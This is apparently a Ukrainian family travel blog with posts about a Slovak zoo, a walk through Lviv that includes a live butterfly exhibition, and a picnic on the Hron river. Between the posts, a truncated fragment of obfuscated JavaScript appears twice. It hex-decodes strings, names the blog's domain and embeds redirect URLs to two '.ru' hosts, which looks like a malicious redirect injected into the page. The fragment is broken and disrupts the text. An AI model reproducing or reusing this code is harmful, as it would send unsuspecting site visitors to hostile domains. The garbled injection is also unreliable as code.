Були кенгуру, павільйон з мавпами, які майже всі поховалися від жари і безбожно спали. Орангутангів якраз підгодовували замороженими фруктами, але зафотографувати їх було неможливо: багато людей коло клітки, дуже запальцьоване скло і на сонці тільки ті відбитки на склі і були видні( Зате вдалося зловити отаку от блакитнодупу мавпочку)

Вперше побачила живого дикобраза – дуже вони загрозливо виглядають, скажу я вам, особливо, коли голками повертаються і зразу пригадується, що вони вродь, тими голками як стрілами можуть “стрельнути” (все таки не можуть, навмисне гуглила;)))

Дуже сподобалися сурікати, вони так кумедно сиділи на дупах в піску і заглядали відвідувачам в очі. Прямо як з мульта

Слони… не уявляла навіть, що в живу вони такі здоровенні. Почуваєшся біля них такою малееенькою казявкою. Слони весь час обдмухували себе вухами. Шкода, що були закриті всередині і фотки не дуже вдало вийшли, але все ж

Дальше були загони з усякими копитними: олені, лами, зебри, верблюди, коні Прживальського, які майже що вимерли і на даний час є єдиними дикими конями, поні і ще всякі різні мені до цього часу невідомі. Уляні сподобалися поні, бо їх погладити можна було



Леопард, видно, що щойно пообідав, спав і ні нащо не реагував

Знайшли таку цікаву тварючку як жанетта звичайна. Навіть не знала, що така існує. Єдина позувала мені в камеру і то, як виявилося, тому, що вилізла з нірки покакати))))

А ще тут гарні краєвиди

От… а дальше моя фотознімачка сказала нам па-па і розрядилася(

Є на території зоопарку ще такий собі мініпарк з гумовими динозаврами, які крутять хвостами і ричать. Вхід, здається, 3 євро з людини.
На сам кінець, вже за територією зоопарку ми попали в зеркальний лабіринт. Словацькою це звучить дуже кумедно – zrkadlové bludisko – зркадлове блудіско. За 2 євро з носа ми там трохи поблудили, Уляна чолом гепнулася два рази і здивовано дивилася на нас, чому то вона туди не може зайти. Пореготалися з коханим чоловіком в кімнаті кривих зеркал і нарешті поїхали додому. Улька вирубалася на виїзді з парковіска (парковки) і всю дорогу проспала. А я всю дорогу голову їй тримала, бо на всіх тих поворотах через гори шию можна зламати.

Прогулянкою ми задоволені страшенно, плануємо поїхати в Бойніце ще, на купаліска і в замок. А на наступні вихідні хочемо в біологічний сад подивитися. Я в біологічних садах, соромно признатися, теж ще жодного разу не була. Так що чекайте нового звіту. А ще за цей один день я виконала кілька своїх бажаннячок)

Чао, ваша Юлька)

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “julliastoryblog.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "julliastoryblog.wordpress.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

Виставка живих метеликів і ще багато іншого:)

А Львів все таки змінився… Вчора мала таку собі повільну прогуляночку центром Львова, просто ходила, все роздивлялася, фоткала… майже як туристка:)
Знайшла парочку хороших закладів і цікавих магазинчиків, а ще втрапила на виставку живих метеликів! Але все за порядком:
Значить так, надибала дуже цікавий магазинчик “Монпасьє”

на вул. Галицькій з усілякими прибамбасами для власноручного створення прикрас і біжутерії і ще всякого іншого, до чого тільки дофантазуєтесь: ціла купа намистинок, ґудзиків, бісеру, защіпок, ланцюжків, квіточок, вовни для валяння, заготовок до браслетів, обручів, сережок і ще всього такого різного. Реально величезний вибір! Я для свого в’язаного кота там очі придбала – дві зелені скляні намистинки з венеціанського скла чи якось так… за 8 грн., трохи дорогувато (але ж мій котяра буде мати суперські очі!) Може то магазинчик і не новий і всі про нього вже в курсі, але я його там побачила вперше, і дуже він мені сподобався, так що хто там кохається в рукоробних прикрасах – загляньте, може щось і вам там “впаде до ока”)))

Дальше, на тій же вулиці, втрапила до такого трохи незвичного закладу під назвою “Комуна”. Заклад дуже навіть цікавий: щось типу інтернет-арт-кафе. Там платиш за час перебування, а всім, що в закладі є користуєшся як би безкоштовно. А є в закладі купа всього: столики з дуже затишними кріслами-подушками, мольберти з аркушами паперу де прямо отак стаєш і малюєш, і книжки для читання… ну і столики з комп’ютерами. А ще окремий столик з кавами-чаями-печеньками і ще чимось, з чого можеш собі піти і зробити канапку, наприклад. А ще сюди можна взяти їдзення з собою. Проводяться в закладі, час від часу, всякі заходи, як то: турніри з настільного футболу, гра в мафію, кінопокази, якісь мистецькі курси. До речі, самі можете собі там організувати якусь презентацію чи зібрання і запросити на нього друзів. Дуже затишне, як на мене, хоча я там просто так пройшлася подивилася і нічого не зафотила(. Маю на меті піти туди посидіти трошки детальніше і щось потворити… помалювати чи що?… Шукаю компанію, так що зголошуйтеся)))
А, мало не забула, є там таке явище як буккросинг – якщо приносиш їм якусь книжечку (не матиматику за 5 клас))), бажано з сучасної літератури, одним словом – щось цікаве, то можеш її обміняти на щось з їхньої бібліотеки, або ж виміняти на пів години безкоштовного часу. І ще там дуже привітний обслуговуючий персонал.

Потім обійшла всі сувенірні магазинчики на площі Ринок, де завжди одне і те ж, але знайшла отаких от симпатичних кицьок

От, по тому я попала в Львівську копальню кави – де каву видобувають як корисну копалину прямісінько з-під площі Ринок. Як тільки заходиш, то відразу бачиш під стіною цілі мішки з кавовими зернами. Дальше в кутику каву смажать, а в іншому мелють і продають. Тут можна купити кави, яку п’ють тільки під дощ, або для закоханих, або ранкову, обідню чи вечірню(назви кави просто суперські). Кавовий дух стоїть просто неймовірний. Дальше можете спуститися в шахту, де ту каву видобувають, вийти у внутрішній дворик-кав’ярню і попити кави прямо таки тут, на місці. Ще там можна купити всякого різного до кави: кавові млинчики, кавові горнятка, кавові іграшки, кавові подарункові набори, банки на каву, чайнички, кавові свічки, спеції до кави і ще ще ще…І персонал, знову ж таки, вельми привітний, все покажуть, все розкажуть;)

Дальше, в цій же копальні, є магазинчик, типу як сувенірний, з українською вишивкою, футболками, іграшками, магнітиками, листівками з виглядом Львова і не тільки. А ще там часто, прямо таки на гуцульських плетених коцах, спить великий сірий кіт. Шкода, сьогодні його там не було, але одна з продавчинь сказала, що то не кіт, а кицька, і що десь вона пішла у своїх котячих справах, а може і четверо діток своїх годувати))). Ой, забула спитати, як ту кицьку звати (зате є привід навідатися туди ще раз)))

І на сам кінець прогулянки попала я на виставку МЕТЕЛИКІВ, живих!!!. Виставка в італійському дворику проходить на третьому поверсі, і хто має можливість обов’язково сходіть! Ви будете в захваті! Чесно-чесно. Я думала, що метелики там будуть в банках чи терраріумах, ну, в цілому десь закриті під склом. Але уявіть собі, коли я зайшла в невелику кімнатку, всю заставлену орхідеями і іншими квітами, і з цілою купою здоровенних різнокольорових метеликів.

Я вчора вибралася в яскравопомаранчеву сукенку – то як тільки я зайшла в кімнатку, метелики нагло почали на мене сідати.

Відчуття незабутні – коли на тебе сідає здоровенний метелик і починає повзати по руці (дуже лоскітно, до речі) це так прикольно)))

Все про метеликів вам розкаже привітний хлопець Олег. Цей метеликознавець може посадити вам на волосся чи руку якогось з метеликів, чи просто довгою лінійкою зняти метелика з якогось далекого кутика, щоб можна було роздивитися ближче.










І якщо на вас сяде метелик, то він (не метелик, звичайно ж) обов’язково скаже щось на зразок “Ой, то той метелик, що кусається!” чи “Ой, то той метелик, що п’є кров!”))) Бадьорить, я вам скажу, дуже))) Бо, може, то і не жарти зовсім.
А ще, за склом, в такому собі метеликороддомі, висять лялечки і кокони різних кольорів і розмірів. І якщо пощастить, то маєте можливість стати свідком, як з лялечки вилуплюється новий метелик.

На окремому столику для метеликів влаштовано їдальню

Деякі метелики трохи потріпані, але так як більшість наявних метеликів живуть дуже мало, бо так їм відведено природою, вони щодня оновлюються нововилупленими)

Дальше я ще вступила в Дзигу, але там була виставка чорно-білих фотографій, які мені не дуже запам’яталися, то ж писати про них і не буду.
Гарний все таки Львів… і цікавий, навіть в понеділок можна знайти для себе цілу жменю чогось нового і щенебаченого і дуже позитивно провести день, чого і вам усім бажаю! Цьом:)

Про словацьку річечку Грон

Взагалі-то про поїздку на Грон мала написати ще давніше, бо були ми там на початку березня, але все якось часу не вистачало. Так от, виправляюся.
Грон – це ліва притока Дунаю і друга за довжиною річка у Словаччині. Річечка дуже вертлява і тече через добру половину Словаччини (хоча… скільки там тої Словаччини))) Багато містечок і сіл, що знаходяться над Гроном, так і називаються: Кальна над Гроном, Жар над Гроном, Юр над Гроном… а чого морочитися?)))
Ми були на початку березня, поїхали на грилювачку. Було ще трохи холодно, але ми грілися біля вогню і м’ячем бавилися) Відпочинок на природі майже завжди одинаковий – про нього щось розписувати не дуже і є що,… а от природа завжди різна і завжди зафоткана, так що прошу на екскурсію кусочком Грону:

вдалося зловити качок

Є на Гроні невеличка дамба чи як, над якою є місток, по якому можна прогулятися і який страшно хитається під ногами… враження – дуже голосно шумить вода, летять бризки води, в сонячну погоду можна ловити райдугу, дивитися зверху на те, як падає вода дуже страшно, принаймні мені, бо Уляна вчепилася в загорожу і споглядала то все з великим зацікавленням і без жодного нятяку на страх)




Шкода, що не зробила відео і ви не чуєте, як та вся вода страшно шумить)

ну і я зі страху вчепилася в Ульку і старанно роблю вигляд, що то я її тримаю

І наостанок: крига в калюжах під певним кутом освітлення дуже навіть цікаво і незвично і нестандартно може виглядати

 Наразі все, далі буде)

Па-па